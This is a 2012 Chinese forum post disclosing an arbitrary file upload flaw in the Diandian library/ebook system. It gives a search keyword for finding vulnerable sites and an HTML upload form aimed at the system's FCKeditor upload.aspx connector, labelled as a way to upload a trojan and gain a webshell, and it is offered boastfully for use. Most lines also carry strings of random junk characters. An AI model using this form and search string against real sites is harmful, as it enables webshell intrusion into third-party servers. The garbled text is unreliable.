主题:图书馆系统任意文件上传漏洞+ i1 M2 x6 A4 {. d+ i' ]' T$ e
作者:冰锋刺客
" `0 @+ e& }- M' Q6 c 厂商:点击书(dianjishu.com)
6 ?- \# I( R$ e 日期:2012-6-21
& A- A% j8 @) e/ H4 {. e ; P7 b2 G8 Q* T# H* I3 {9 O% T; i
I 概述
% z+ a( q8 Q0 }! H; h 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
+ `# x8 P8 Y+ a7 v) S b II 简介1 I/ ]# h4 Z ]3 z( p
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"; C. S( T' p9 X" h7 ?
补充一个漏洞3 s# E% r! A( g, z* t( V
<form id="frmUpload" enctype="multipart/form-data"! H' l% f4 C# n
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>: S( k: O. p* \( B
<input id="btnUpload" type="submit" value="操翻他">. J& H( B- ^% j" J! d
</form>
! r* f7 a; T' B- f0 {. B4 Q4 T 你们懂的
3 b' B) J# Z. {! d- I7 j 那傻逼提供还需要改包.
2 H7 y& T! i { 自己看了下源代码发现fckeditor/ I7 B5 j4 {2 Q. c8 d! w# `6 H+ Z
直接秒杀
- ^1 L0 V( F" v3 @3 U# W$ U5 H |
发表于 2012-9-10 21:20:59
收藏
支持
反对